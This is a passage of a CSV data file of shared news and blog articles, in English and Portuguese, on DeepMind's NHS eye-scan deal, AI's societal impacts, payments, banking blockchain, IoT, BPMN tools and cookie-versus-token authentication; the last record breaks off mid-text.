1473715550,CONTENT SHARED,-8520302351158933500,-1443636648652872475,3922584500788416214,,,,HTML,https://www.newscientist.com/article/2096328-googles-new-nhs-deal-is-start-of-machine-learning-marketplace/,Google's new NHS deal is start of machine learning marketplace,"DeepMind, Google's London-based artificial intelligence company, has started training neural networks to recognise the signs of eye disease in medical images. A partnership with Moorfields Eye Hospital in London has given the company access to about a million anonymised retinal scans, which DeepMind will feed into its artificial intelligence software. The project will target two of the most common eye diseases - age related macular degeneration and diabetic retinopathy. More than 100 million people around the world have these conditions. The information that Moorfields is providing includes scans of the back of people's eyes, as well as more detailed scans known as optical coherence tomography (OCT). The idea is that the images will let DeepMind's neural networks learn to recognise subtle signs of degenerating eye conditions that even trained clinicians have trouble spotting. This could make it possible for a machine learning system to detect the onset of disease before a human doctor could. The earlier the better, says Gadi Wollstein, an eye doctor at the University of Pittsburgh. ""Patients are losing tissue and the loss is irreversible,"" he says. ""The longer we're waiting, the worse the [outcome]."" Data overload In 2005, Wollstein and his colleagues explored the use of neural networks to diagnose eye disease . But the team had a far smaller data set than DeepMind has been given. Wollstein says that a large data set is critical, as it allows the neural network to learn to recognise eye disease more completely and accurately. Ophthalmologists are using highly detailed OCT scans more and more. But this can lead to data overload. It's often hard for a doctor to see clear patterns and make good diagnoses, says Wollstein. He thinks a machine might do a better job. Any automated diagnosis software DeepMind comes up with could also make its way to high-street opticians, who are increasingly using OCT, says Pearse Keane, the Moorfields ophthalmologist who approached DeepMind with the idea in 2015. ""About 10 per cent of high-street opticians have OCT- it's likely that big national chains will adopt it."" Share and share alike A previous data-sharing agreement between DeepMind and the Royal Free NHS Trust raised questions about the need for regulatory and ethical approval . The full scale of that project only came to light after a freedom of information request from New Scientist . In this case, however, DeepMind and Moorfields are open about the conditions of the agreement, laying out exactly how much and what kind of data they are using for the research . The sharing of anonymised historical data has already been approved by Moorfields' research and development office, and DeepMind says it has applied to the Health Research Authority for clearance to access more sensitive data. ""This data sharing deal currently appears to have followed the rules,"" says Phil Booth of medical privacy advocacy group MedConfidential. DeepMind's partnership with Moorfields also gives us an early look at how the marketplace for machine learning could work. DeepMind will not get paid for any of the work it does, whether with the Royal Free or Moorfields Eye Hospital. However, it does get to test out algorithms on real data sets that describe serious problems, and it gets to keep the neural networks it trains using that data. The valuable knowledge about eye disease contained in Moorfield's anonymous dataset will become the property of DeepMind, built into its artificial intelligence systems. In effect, training its machine learning systems on real-world health data is DeepMind's payment for advancing the field of diagnostic AI. Asking the right questions Mustafa Suleyman, who leads DeepMind's healthcare research team, points out that the project might not work out and the models it produces might be worthless. ""It may be that we have to go back to the drawing board,"" he says. For Wollstein, who worked at Moorfields in the 1990s, the exchange is worth it. DeepMind may get free access to valuable patient data - but the alternative is to keep potential insight locked up in the Moorfields dataset, inaccessible to human analysis. At the end of the day, says Wollstein, DeepMind's research may result in a great boost to the NHS, at zero financial cost to the taxpayer. But some still have reservations about Google's use of NHS data. ""Everyone is assuming that Moorfields desperately needs some kind of unique insight from Google,"" says Javier Ruiz of the Open Rights Group. ""DeepMind are certainly capable when it comes to AI. But you could do machine learning on this data without DeepMind. You have to question whether that is the right quid pro quo,"" he says. By being open about their work on public data, DeepMind and Moorfields make it possible for such questions to be asked. There are no clear answers, but DeepMind's research will play a key role in determining how the public thinks about the value locked up in its data. "" Ultimately the question is this: if you say you're going to use publicly funded data, you need a very, very clear public benefit,"" says Ruiz.",en
1473728382,CONTENT SHARED,-7895534832212398576,-1443636648652872475,2143338052274263890,,,,HTML,https://hackernoon.com/artificial-intelligence-is-hard-to-see-a71e74f386db?gi=fba44c904fd4,Artificial intelligence is hard to see,"Why we urgently need to measure AI's societal impacts By Kate Crawford and Meredith Whittaker How will artificial intelligence systems change the way we live? This is a tough question: on one hand, AI tools are producing compelling advances in complex tasks, with dramatic improvements in energy consumption , audio processing , and leukemia detection . There is extraordinary potential to do much more in the future. On the other hand, AI systems are already making problematic judgements that are producing significant social, cultural, and economic impacts in people's everyday lives. AI and decision-support systems are embedded in a wide array of social institutions, from influencing who is released from jail to shaping the news we see. For example, Facebook's automated content editing system recently censored the Pulitzer-prize winning image of a nine-year old girl fleeing napalm bombs during the Vietnam War. The girl is naked; to an image processing algorithm, this might appear as a simple violation of the policy against child nudity. But to human eyes, Nick Ut's photograph, ""The Terror of War"", means much more: it is an iconic portrait of the indiscriminate horror of conflict, and it has an assured place in the history of photography and international politics. The removal of the image caused an international outcry before Facebook backed down and restored the image . ""What they do by removing such images, no matter what good intentions, is to redact our shared history,"" said the Prime Minister of Norway, Erna Solberg. It's easy to forget that these high-profile instances are actually the easy cases. As Tarleton Gillespie has observed , hundreds of content reviews are occurring with Facebook images thousand of times per day, and rarely is there a Pulitzer prize to help determine lasting significance. Some of these reviews include human teams, and some do not. In this case, there is also considerable ambiguity about where the automated process ended and the human review began: which is part of the problem. And Facebook is just one player in complex ecology of algorithmically-supplemented determinations with little external monitoring to see how decisions are made or what the effects might be. The 'Terror of War' case, then, is the tip of the iceberg: a rare visible instance that points to a much larger mass of unseen automated and semi-automated decisions. The concern is that most of these 'weak AI' systems are making decisions that don't garner such attention. They are embedded at the back-end of systems, working at the seams of multiple data sets, with no consumer-facing interface. Their operations are mainly unknown, unseen, and with impacts that are take enormous effort to detect. Sometimes AI techniques get it right, and sometimes they get it wrong. Only rarely will those errors be seen by the public: like the Vietnam war photograph, or when a AI ' beauty contest ' held this month was called out for being racist for selecting white women as the winners. We can dismiss this latter case as a problem of training data - they simply need a more diverse selection of faces to train their algorithm with, and now that 600,000 people have sent in their selfies, they certainly have better means to do so. But while a beauty contest might seem like a bad joke, or just a really good trick to get people to give up their photos to build a large training data set, it points to a much bigger set of problems. AI and decision-support systems are reaching into everyday life: determining who will be on a predictive policing 'heat list' , who will be hired or promoted , which students will be recruited to universities , or seeking to predict at birth who will become a criminal by the age of 18 . So the stakes are high. For example, the few studies that have been done into the use of AI and algorithmic decision-support systems in core social domains have produced troubling results. A recent RAND study showed that Chicago's predictive policing 'heat list' - a list of people determined to be at high-risk of involvement with gun violence - was ineffective at predicting who will be involved in violent crime. However, it did lead to the increased harassment of those on the list. Similarly, a ProPublica exposé showed criminal risk-assessment software produced results that were biased against black defendants. To ensure people's rights and liberties are upheld, we will need validation, auditing, and assessment of these systems to ensure basic fairness. Without it, we risk incorrect classifications, biased data, and faulty models amplifying injustice rather than redressing it. Turing said in 1947 that if a machine is expected to be infallible, it cannot also be intelligent. What concerns us is that these fallible automated systems are being rapidly rolled out into the complex nervous system of society. These issues are front of mind for us, as we recently chaired AI Now , a White House symposium dedicated to the social and economic impacts of artificial intelligence in the next 10 years. AI Now also included an experts' workshop , where leaders from academia, civil society, industry, and government discussed challenges in four thematic areas: social inequality , ethics , labor , and health  - places where AI is already raising pressing questions. The insights and diverse perspectives at AI Now were deeply informative, but they also revealed an uncomfortable truth: there are no agreed-upon methods to assess the human effects and longitudinal impacts of AI as it is applied across social systems. This knowledge gap is widening as the use of AI is proliferating, which heightens the risk of serious unintended consequences. The core issue here isn't that AI is worse than the existing human-led processes that serve to make predictions and assign rankings. Indeed, there's much hope that AI can be used to provide more objective assessments than humans, reducing bias and leading to better outcomes. The key concern is that AI systems are being integrated into key social institutions , even though their accuracy, and their social and economic effects, have not been rigorously studied or validated. There needs to be a strong research field that measures and assesses the social and economic effects of current AI systems, in order to strengthen AI's positive impacts and mitigate its risks. By measuring the impacts of these technologies, we can strengthen the design and development of AI, assist public and private actors in ensuring their systems are reliable and accountable, and reduce the possibility of errors. By building an empirical understanding of how AI functions on the ground, we can establish evidence-led models for responsible and ethical deployment, and ensure the healthy growth of the AI field. If the social impacts of artificial intelligence are hard to see, it is critical to find rigorous ways to make them more visible and accountable. We need new tools to allow us to know how and when automated decisions are materially affecting our lives - and, if necessary, to contest them.",en
1473764734,CONTENT SHARED,-393060967458342665,-1602833675167376798,2221101839374610542,,,,HTML,https://pagamento.me/parceria-entre-paypal-e-mastercard-firmada/,Parceria entre Paypal e Mastercard firmada!,"A Mastercard divulgou parceria estratégica com o Paypal na semana passada. A parceria, que tem como principal foco, o pagamento de compras em lojas, vai viabilizar a solução do Paypal para que clientes possam pagar com débito e crédito através da solução da bandeira, que permite compras pela aproximação do cartão ou do celular. Esse movimento pelo que críticos dizem, é uma das cartadas do Paypal contra avanços de Stripe , Apple Pay e outros. A investida do Paypal é ter mais presença na vida dos usuários e se tornar onipresente. A parceria terá cobertura nos Estados Unidos e Porto Rico, inicialmente. O anúncio veio dias após o Paypal ter informado um acordo com a Visa.",pt
1473766760,CONTENT SHARED,5410603488837817052,5660542693104786364,886123640282344282,,,,HTML,http://www.ft.com/cms/s/2/0288caea-7382-11e6-bf48-b372cdb1043a.html,Banks find blockchain hard to put into practice - FT.com,"Banks are rushing to adopt blockchain - the database technology that underpins bitcoin - in order to cut costs, but technologists and business people are having to make drastic changes to force the radical technology to adhere to the norms of the banking world. The digital currency bitcoin was invented in 2009 an attempt to build an alternative system of money beyond the control of governments and central banks. Although bankers distrusted the bitcoin concept, the blockchain technology underpinning it was seen as having a number of useful features. Blockchain is shared among a large number of users, which makes it difficult to shut down or hack ; transactions can't be reversed; and it is transparent, allowing trades to be viewed and verified by anyone using the system. These all initially had appeal for financial services companies - but they may prove difficult to put into practice. The unprecedented transparency of transactions sits uneasily with the privacy needs of secretive bankers, whose plans for blockchain diverge from the aims of bitcoin's advocates. ""The problem they were trying to solve is central bank money,"" says Simon Taylor , co-founder of fintech consultancy 11:FS and former blockchain lead at Barclays. ""But if you're a bank or central bank that's not your ideology."" The prevailing ""ideology"" in banking today is efficiency. Tighter regulation, new competition from technology companies and the low central bank interest rates, which seem likely to persist, have forced the banking sector to look seriously at reducing costs wherever they can. The hope is that using shared database technology like blockchain can help increase the speed and reduce the cost of activities such as settlement and clearing by automating back-office functions with systems that would be shared across the banking sector. ""Pre-2008 the industry would not have lifted a finger to do certain shared things, which may save a hundred million dollars, but now a hundred million dollars is a lot of money and people are now prepared to work together to cut costs,"" says Richard Lumb, chief executive of the financial services group at Accenture. There are a problems to overcome, however. A shared system for executing transactions, if built like bitcoin, could allow rival banks to spy on each other's activities. Additionally, making such a database immutable raises the possibility that fat-finger trades, where an additional zero is accidentally inserted into a transaction, for example, could not be reversed, resulting in the potential for unexpected losses. There are also questions of scalability: if data are replicated across all the banks using a shared settlement system - the bitcoin model - it potentially becomes too cumbersome. ""You get something called bloat, and the more bloat you get the slower the system goes,"" said Peter Randall, chief executive of Setl, a London-based company building a blockchain and distributed ledger system for financial services. As a result, the discussions about implementing blockchain-like technologies in financial services involve diluting the pure bitcoin dream . The phrase ""blockchain without bitcoin"" is a commonly used buzzword, though it suggests a simplicity that belies the differences, according to Mr Taylor of 11:FS. The proper analogy is not of replacing the engine in a car, he said, but of the differences between a car and a boat. ""We might still use the idea that there is a driver, and that it moves and it has an engine, but we'd put it on water rather than on the roads,"" he says. Instead of sharing data with all participants, ideas being discussed involve ensuring that only counterparties, regulators and other appropriate parties can view the details of a trade. Worries about immutability are perhaps overstated. The answer, says Mr Randall of Setl, is simply ""do an equal and opposite transaction to set the record straight"". Advocates say that the result has been a technology that seems, to the untrained eye, to be less radical than originally envisaged by bitcoin's proponents. ""If you're a business guy you could look at the current construct versus the new construct and say 'aren't you just building a big database?',"" says Charley Cooper, managing director at R3, a consortium of 60 financial services institutions working on blockchain. Indeed, that is the view of some commentators , who have argued that rather than being an innovation, blockchain is just another database with the right amount of ""cool"" to persuade cost-conscious bankers to work together - an advance in marketing rather than technology. But Mr Taylor disagrees: ""We had distributed databases before, we didn't have distributed databases where the maths proved tamper-resistant among a number of entities."" Copyright The Financial Times Limited 2016. You may share using our article tools. Please don't cut articles from FT.com and redistribute by email or post to the web.",en
1473774261,CONTENT SHARED,3073610766179441483,3217014177234377440,7262877017595533128,,,,HTML,http://info.versionone.com/index.php/email/emailWebview?mkt_tok=eyJpIjoiWldabU9USTVNV0kxTmpJeCIsInQiOiJwOW5GYjNJYTdFNktnSFdGXC9RNXVrUmV3RHdhdHZMS3hmK2llRlR5YkNXWkplaitPUUNTZ2cxWnFTV0pwWG9SNTJ1Y0dvd0pmUjhcL21Fa0dSQVNKejljYUdkcFZqbzRqd1d3QlRETUU2SjZJPSJ9,[Live Webinar] Measuring Enterprise Agility Best practice measures for tracking agile and DevOps performance,"Are you delivering value to your customers/users? How do you know? Join Robert Holler, CEO & Co-founder, and Mark Crowe, Senior Director of Product Management, at VersionOne, for an in-depth overview of measuring and visualizing enterprise agility including real world strategies to define, measure, and improve agile and DevOps performance.",en
1473781654,CONTENT SHARED,1665726676688122621,3609194402293569455,-8405336063524481356,,,,HTML,http://startupi.com.br/2016/08/inatel-lanca-seu-smart-campus-um-laboratorio-vivo-para-demonstracao-de-projetos-na-area-de-iot/,"Inatel lança seu Smart Campus, um laboratório vivo para demonstração de projetos na área de IoT - Startupi","Imagine chegar ao Inatel à noite e conforme você for entrando no campus as luzes irem se acendendo gradativamente. E melhor ainda, por meio de seu celular, saber onde há vagas no estacionamento, caso esteja de carro. Agora isso já é possível, pois o Inatel, em Santa Rita do Sapucaí, inaugurou hoje seu Smart Campus, projeto que transforma seu campus em um laboratório vivo em que alunos e empresas poderão implantar soluções de automatização e conectividade que irão não só facilitar a vida de quem trafega por ele, como também servir de vitrine para os projetos que são desenvolvidos na Instituição. Seu primeiro projeto é o de iluminação inteligente. O desenvolvimento dessa solução se deu por meio da parceria entre o ICC e da startup Das Coisas, incubada no Inatel e que conta com alunos e ex-alunos da instituição, além da Tacira, especializada em smart cities. Serão 75 postes do campus, que já começaram a receber a solução inteligente de automatização da iluminação, capaz de fazer a leitura da luminosidade local para o acionamento e desligamento das lâmpadas, além da leitura de potência consumida da rede. Todas as informações coletadas serão gravadas e a análise dos dados feita por uma plataforma de Analytics. De acordo com o gerente de Desenvolvimento de Negócios do Inatel, Leandro Guerzoni, que coordena as ações do Inatel Smart Campus, a intenção é tornar o Inatel um centro de referência também em Internet das Coisas, ""queremos ter um ambiente para aplicar e mostrar toda a tecnologia desenvolvida na instituição tanto no ambiente acadêmico quanto na área de P&D e em nosso ecossistema de empreendedorismo direcionadas para IoT"". O recém-formado Leonardo Ribeiro Gonçalves, da empresa Das Coisas, afirma que é gratificante ver o trabalho aplicado no campus onde estudou. ""Nossa formação é no Inatel, devemos tudo o que sabemos à instituição. Além disso, fazer parte do projeto Smart Campus irá abrir muitas oportunidades de negócio para a área em que atuamos. É uma chance incrível"". Uma prova da força da exposição é que esse projeto piloto de iluminação já tem destino comercial certo. Ele será implantado pela empresa Tacira, também parceira no Smart Campus, no conceito de Cidade Inteligente que realiza no município de Águas de São Pedro, interior de São Paulo. A iluminação inteligente é apenas o primeiro projeto do Inatel Smart Campus que pretende criar uma rede de conectividade que permita que outros serviços possam ser oferecidos dentro do campus e, acima disso, uma plataforma aberta e convergente com outras redes. Para esse projeto, o momote , desenvolvido pelo pesquisador e empreendedor Marco Casaroli durante as pesquisas do mestrado no Inatel e sócio da empresa Das Coisas, tem papel fundamental. O momote é um módulo open source, de baixo custo e baixo consumo, capaz de permitir conectividade a qualquer equipamento, em diversos padrões de comunicação. ""O projeto é uma excelente oportunidade de mostrar aplicações para a área educacional e para incentivar o desenvolvimento de novas tecnologias para IoT. Além de iluminação pública, temos vários outros projetos que serão desenvolvidos, testados e implantados no Inatel Smart Campus"", diz Casaroli. Estão previstas soluções para estacionamento, eficiência energética, e tantas outras. Como afirma o gerente de hardware do Inatel Competence Center, Marcelo Carneiro, ""o limite das aplicações é a criatividade"". Outras aplicações desenvolvidas pela comunidade do Inatel para IoT: IoT Lab - Voltado para alunos que irão desenvolver competências em IoT e testar projetos e aplicações no Smart Campus. O laboratório já tem sete alunos com bolsas de Iniciação Científica e a ideia é esse número ser ampliado com o apoio de empresas parceiras do Inatel. Novo portal de acesso Wi-Fi - Com identificação do usuário, com possibilidade de interação com os visitantes do campus. Sistema de gerenciamento de chamados - Um aplicativo desenvolvido pela startup Tacira e pelo ICC para os usuários do campus, que terá comunicação com a Prefeitura do campus. Solução de estacionamento - Sistema desenvolvido pela empresa incubada Spark Telecom de localização de vagas por meio de um aplicativo e com uso de imagens de câmeras. A Internet das Coisas é o assunto do momento no mercado de tecnologia e promete uma revolução nunca antes vista. Segundo o Gartner, o número de dispositivos conectados na internet em 2016 é de 6,4 bilhões e as previsões são de que, até 2020, este número salte para 30 bilhões. A Accenture, player global no setor de tecnologia, aponta que a Internet das Coisas irá revolucionar também processos industriais, o que irá adicionar cerca de US$14 trilhões à economia global até 2030. Empresas como Samsung, Microsoft, Google, Apple, Huawei e Ericsson estão com os olhos voltados para o tema em busca de soluções não só de infraestrutura para suportar o grande volume de dados que passaram a trafegar na internet, mas também de aplicações para a utilização desses dados. O Inatel também está aberto a parcerias com empresas dispostas a investir na pesquisa e também em testar produtos em desenvolvimento. É um ambiente para aplicar e mostrar toda a tecnologia desenvolvida na instituição, tanto no ambiente acadêmico quanto na área de P&D e no ecossistema de empreendedorismo direcionadas para IoT. O rápido crescimento do número de objetos conectados e de dados trafegados vão gerar uma verdadeira avalanche na rede. Portanto, alternativas para otimizar a capacidade das redes e de inteligência para balanceamento e direcionamento do tráfego são muito interessantes para esse cenário.",pt
1473782267,CONTENT SHARED,-2194994678739982146,3217014177234377440,7262877017595533128,,,,HTML,http://blog.iprocess.com.br/2016/09/7-ferramentas-gratuitas-para-criar-diagramas-de-processos-com-bpmn/,[Tools] 7 Ferramentas Gratuitas para Criar Diagramas de Processos com BPMN,"Avaliamos 7 editores de diagramas de processos gratuitos para você criar e editar diagramas de processos com a notação BPMN. Confira nosso overview sobre o Bizagi Modeler, Aris Express, BPMN.io, Draw.io, Yaoqiang BPMN Editor, HEFLO! Documentação e Modelio! A ferramenta mais conhecida pelos analistas de processos está no mercado como uma solução gratuita há uns bons anos. O Bizagi Modeler é fácil de usar e usa cores nos elementos para facilitar a identificação. A ferramenta possui uma tradução das funcionalidades e da maioria dos elementos para português (mas os nomes usados podem variar de uma versão para a outra, já que não existe uma tradução oficial da notação para o nosso idioma). Dos diagramas de BPMN, permite criar apenas o Diagrama de Processo (Orquestração). A ferramenta tem recursos que ajudam a evitar a utilização equivocada de alguns elementos, e possui um verificador que ajuda a validar a integridade do processo (regras básicas da notação BPMN). Além de desenhar o fluxo do processo, é possível documentar os elementos criando novos campos para complementar o modelo com informações. Os diagramas criados são gravados no formato próprio da ferramenta (extensão .bpm) mas podem ser exportados para formatos de imagem como PNG e BMP, além de gerar documentações no formato de manuais que podem ser exportados em PDF, DOC, para wiki e também um formato navegável HTML. É possível também exportar e importar arquivos nos formatos padrões BPMN e XPDL. Um outro recurso interessante é a simulação de processos. Para baixar, experimentar e descobrir mais sobre esta ferramenta: O ARIS Express é uma versão light da conhecida plataforma de análise de processos, o ARIS Platform. Criada originalmente como parte da plataforma que desenvolveu por muitos anos a notação EPC ( Event-driven Process Chain ), a solução precisou se adequar à nova realidade do mercado e incorporar ao seu conjunto de diagramas o BPMN. Assim, a versão express desta ferramenta permite criar diagramas com notações como Cadeia de Valor, organograma, modelo de dados, EPC e é claro, BPMN. Porém, diferentemente da plataforma, os arquivos são gravados no próprio computador do usuário. Apesar do uso de cores para diferenciar os tipos de elementos, a ferramenta não possui grande apelo visual e é um pouco restritiva no manuseio. Além disso, a curva de aprendizagem para dominá-la a fim de criar bons diagramas pode ser um pouco maior do que o esperado (e em alguns momentos um pouco frustrante até se descobrir alguma forma mais simples de resolver uma dificuldade). Por outro lado, possui funcionalidades interessantes, como a criação de documentação complementar e exportação para formatos de documentos como PDF ou RTF. Os arquivos de diagramas são salvos no formato proprietário da ferrramenta, o Aris Document Format (.adf). A ferramenta está disponível em inglês (e alemão). Para baixar*, experimentar e descobrir mais sobre esta ferramenta: * para fazer o download, é preciso criar uma conta na Aris Community. Extremamente leve, este editor de BPMN desenvolvido pela alemã Camunda permite criar diagramas de processo sem precisar instalar nenhum aplicativo. O editor é totalmente web e funciona diretamente no browser do computador. É simples e muito fácil de sair criando diagramas e possui grande aderência à notação BPMN para diagrama de processo (orquestração). Permite apenas criar diagramas gráficos, sem muita informação adicional. Não possui recursos complementares. Os diagramas criados podem ser baixados para o seu computador no formato padrão .bpmn (que pode ser recarregado e editado posteriormente) e em formato de imagem PNG. Para acessar, experimentar e descobrir mais sobre esta ferramenta: Originalmente criado como uma ferramenta online de criação de diagramas tipo flowchart, o Draw.io incorporou como uma das notações visuais para desenho a palheta de elementos de BPMN. Com isso, este editor vai na mesma linha do BPMN.io, um pouco mais rico nas funcionalidades visuais (é possível usar cores) mas com menos recursos específicos para a modelagem, como a ausência de validação. Como permite criar vários tipos de diagramas diferentes e misturar as palhetas, pode ser um pouco confuso para iniciantes discernir se estão criando um diagrama corretamente pois é possível usar em um mesmo diagrama os tipos de elementos visuais de notações diferentes. Os diagramas são salvos em qualquer um dos principais serviços de armazenamento na nuvem, como Google Drive, Dropbox ou OneDrive (basta ter uma conta) ou então pode ser gravado no seu próprio computador (em formato XML, que pode ser recarregado e editado posteriormente). A principal vantagem de usar um serviço de armazenamento na nuvem é que outros usuários poderão acessar o mesmo diagrama e fazer contribuições. A palheta de BPMN está espalhada em grupos como ""General"", ""BPMN General"", ""BPMN Gateways"", ""BPMN Events"". Além disso, a ferramenta possui muitos elementos ""inventados"" sobre a notação BPMN que não existem na especificação formal, o que pode tornar seu uso ainda mais confuso (até mesmo para analistas experientes). Os diagramas criados nesta ferramenta são puramente desenhos vetoriais em tela, não há nenhum tipo de validação ou verificação se a modelagem está correta. Para acessar, experimentar e descobrir mais sobre esta ferramenta: Esta ferramenta de modelagem de processos desenvolvido pela Blenta Software é uma das mais completas e aderentes à notação e é open source (software livre). Além de modelagem de diagrama de Processo (Orquestração), também possui todos os elementos para a criação dos dois outros tipos de diagramas da notação: Conversação e Coreografia (o único editor gratuito que identificamos até agora que comporta os três tipos de diagramas nativamente). Um ponto forte deste editor é que a ferramenta possui um compromisso estabelecido em seguir rigidamente as definições da especificação formal da OMG para a representação gráfica dos processos, o que garante um elevado nível de aderência dos elementos e validações de regras de utilização. Embora não possua um apelo visual muito grande, em termos de funcionalidades para a criação de diagramas, é bastante completa. Os processos mapeados podem ser baixados para o seu computador no formato padrão .bpmn (que pode ser recarregado e editado posteriormente) e em formato de imagem PNG. A ferramenta é em inglês (e possui outros idiomas como alemão, francês e chinês - sim, porque a empresa fabricante é chinesa!). Os diagramas criados podem ser gravados no formato padrão .bpmn e em formatos variados de imagem, como PNG, BMP e JPG. Para baixar, rodar e usar*: * pré-requisito: Java Runtime Environment. Com uma interface leve e agradável, o módulo de documentação BPMN da HEFLO é online e permite criar diagramas de processo sem precisar instalar nenhum aplicativo. Embora o produto esteja na versão beta, a empresa se comprometeu (através de seu site) que este módulo será gratuito para sempre. O editor é totalmente web, possui uma interface bastante fácil de usar e funciona diretamente no browser do computador. É muito fácil de sair criando diagramas e possui grande aderência à notação BPMN para diagrama de processo (orquestração). Um outro fator interessante é que os elementos da palheta estão todos identificados em português. Durante a modelagem, as raias se auto-ajustam conforme os elementos são adicionados. Além da criação do diagrama, é possível gerar documentações ricas de cada elemento através de um editor de texto bastante rico, com formatação de texto, criação de tabelas, entre outros. Os diagramas criados são gravados em nuvem própria do produto. Além disso, é possível exportá-lo para o formato padrão .bpmn, imagem PNG ou de documentação, como PDF, DOC e HTML (estático). A ferramenta é toda em português! Para acessar, experimentar e descobrir mais sobre esta ferramenta: Esta ferramenta de modelagem de processos é outro software do tipo open source, cujo objetivo original é a modelagem de diagramas UML, mas que foi estendida para criar diagramas de processos em BPMN. Quem utiliza tem a sensação de estar trabalhando em uma ferramenta de desenvolvedor - e é verdade, pois ela é baseada no Eclipse, famosa interface para desenvolvimento de software. Os facilitadores de modelagem encontrados em outras ferramentas não ocorrem neste editor. Para começar a modelar é preciso criar um ""Projeto"" e então dentro dele criar um diagrama BPMN. Os elementos, inclusive conectores, precisam ser adicionados um a um no diagrama. A definição dos tipos de tarefas e eventos também não é muito simples - é preciso acessar a janela de propriedades do elemento no diagrama para então escolher entre os tipos. No final das contas, criar um diagrama BPMN nessa ferramenta pode ser trabalhoso e pouco produtivo comparado às outras. Apesar disso, em termos de notação BPMN a ferramenta é bastante aderente, pois contém praticamente todos os elementos e usando a funcionalidade de Audit pode-se fazer validação das regras da notação conforme a especificação da OMG. Os diagramas não são salvos avulsos, eles ficam dentro do arquivo de projeto. É possível exportar para formato de imagem como PNG ou JPG. A interface é somente em inglês. Para baixar, rodar e descobrir mais sobre esta ferramenta: ... e mais um! (atualizado em 12/09/16 15:36) Esta ferramenta brasileira é mais do que apenas um editor de diagramas em BPMN - é uma suíte para gerenciamento de processos. Por este motivo, a solução possui muitas outras funcionalidades que vão além da modelagem do processo. Como estamos tratando neste artigo especificamente de ferramentas de criação de diagramas BPMN, vamos nos ater às funcionalidades relacionadas a este tipo de solução. O modelador é web, portanto não é necessário baixar ou instalar nenhum programa. Para criar modelos no Sydle é preciso criar uma conta, mas pode ser na versão gratuita ( Community ) da ferramenta. A utilização de outras funcionalidades além da modelagem pode exigir a escolha por uma licença paga (veja no site do produto os diferentes recursos). Como o foco principal da ferramenta é a modelagem de processos para serem automatizados através do próprio produto, estão disponíveis para a modelagem apenas os elementos de BPMN implementados na automação. Mesmo assim, atende a quase toda a especificação na subclasse descritiva (à exceção dos elementos de pool e fluxo de mensagem e os acessórios data object e data store). Para a documentação, a ferramenta disponibiliza um mini-editor de texto. O salvamento dos diagramas é realizado no servidor da Sydle, e é possível extrair uma versão impressa de documentação tipo manual de processo, com a imagem do diagrama e o detalhamento da documentação com recursos ricos de formatação de texto, inclusive uso de tabelas. Como outras ferramentas, possui o recurso de menu de contexto, que permite ir criando o fluxo a partir do conector no elemento anterior. A ferramenta faz auto-salvamento a cada elemento adicionado no processo. Não há funcionalidade específica para fazer a validação do modelo no editor, mas algumas regras básicas são verificadas automaticamente (por exemplo, não permite conectar o evento final a outro elemento de fluxo). Não há recursos padrão de exportação. Esta solução é brasileira e a interface é totalmente em português. Para criar uma conta e experimentar esta ferramenta: Os editores BPMN.io , Heflo e Yaoqiang gravam os arquivos com os diagramas de processos no formato padrão da notação ( .bpmn ). Este arquivo é um XML padronizado. Como resultado, é possível abrir arquivos criados em uma ferramenta na outra. Em alguns casos, conseguimos fazer isto com pouca perda de informação, mas alguns aspectos, principalmente relacionados a conectores, apresentaram alguns problemas.Uma outra restrição é que arquivos do Yaoqiang com mais de uma aba de diagrama abrirá apenas o primeiro deles no BPMN.io ou no Heflo, que não trabalham com multi-diagramas. Conhece algum outro editor que deveria estar nesta lista? Manda a dica para nós! Mas atenção, tem que ser:",pt
1473786904,CONTENT SHARED,5745373608367143062,-8020832670974472349,5640550434518154676,,,,HTML,https://auth0.com/blog/cookies-vs-tokens-definitive-guide/,Cookies vs Tokens: The Definitive Guide,"TL;DR Tokens-based authentication is more relevant than ever. We examine the differences and similarities between cookie and token-based authentication, advantages of using tokens, and address common questions and concerns developers have regarding token-based auth. Finally, putting theory to practice, we'll build an application that uses token authentication and make it a progressive web app. We will be writing an Angular 2 app that uses JWT for authentication. Grab the Github repo if you would like to follow along. Our last article comparing cookie to token authentication was over two years ago. Since then, we've written extensively on how to integrate token authentication across many different languages and frameworks. The rise of single page applications (SPAs) and decoupling of the front-end from the back-end is in full force. Frameworks like Angular , React , and Vue allow developers to build bigger, better, and more performant single page applications than ever before. Token-based authentication goes hand in hand with these frameworks. ""Token-based authentication goes hand in hand with SPA frameworks like Angular, React and Vue."" TWEET THIS Cookie vs Token Authentication - Recap Before we dive further, let's quickly recap how these two authentication systems work. If you are already familiar with how cookie and token authentication works, feel free to skip this section, otherwise read on for an in-depth overview. This diagram is a great introduction and simplified overview of the difference between cookie and token approaches to authentication. Cookie Based Authentication Cookie based authentication has been the default, tried-and-true method for handling user authentication for a long time. Cookie based authentication is stateful . This means that an authentication record or session must be kept both server and client-side. The server needs to keep track of active sessions in a database, while on the front-end a cookie is created that holds a session identifier, thus the name cookie based authentication. Let's look at the flow of traditional cookie based authentication: User enters their login credentials Server verifies the credentials are correct and creates a session which is then stored in a database A cookie with the session ID is placed in the users browser On subsequent requests, the session ID is verified against the database and if valid the request processed Once a user logs out of the app, the session is destroyed both client and server side Token-Based Authentication Token-based authentication has gained prevalence over the last few years due to rise of single page applications, web APIs, and the Internet of Things (IoT). When we talk about authentication with tokens, we generally talk about authentication with JSON Web Tokens (JWTs). While there are different ways to implement tokens, JWTs have become the de-facto standard. With this context in mind, the rest of the article will use tokens and JWTs interchangeably. Token-based authentication is stateless . The server does not keep a record of which users are logged in or which JWTs have been issued. Instead, every request to the server is accompanied by a token which the server uses to verify the authenticity of the request. The token is generally sent as an addition Authorization header in form of Bearer {JWT} , but can additionally be sent in the body of a POST request or even as a query parameter. Let's see how this flow works: User enters their login credentials Server verifies the credentials are correct and returns a signed token This token is stored client-side, most commonly in local storage - but can be stored in session storage or a cookie as well Subsequent requests to the server include this token as an additional Authorization header or through one of the other methods mentioned above The server decodes the JWT and if the token is valid processes the request Once a user logs out, the token is destroyed client-side, no interaction with the server is necessary Advantages of Token-Based Authentication Understanding how something works is only half the battle. Next, we'll cover the reasons why token authentication is preferable over the traditional cookie based approach. Stateless, Scalable and Decoupled Perhaps the biggest advantage to using tokens over cookies is the fact that token authentication is stateless. The back-end does not need to keep a record of tokens. Each token is self-contained, containing all the data required to check its validity as well as convey user information through claims. The server's only job then, becomes to sign tokens on a successful login request and verify that incoming tokens are valid. In fact, the server does not even need to sign tokens. Third party services such as Auth0 can handle the issuing of tokens and then the server only needs to verify the validity of the token. Cross Domain and CORS Cookies work well with singular domains and sub-domains, but when it comes to managing cookies across different domains, it can get hairy. In contrast, a token-based approach with CORS enabled makes it 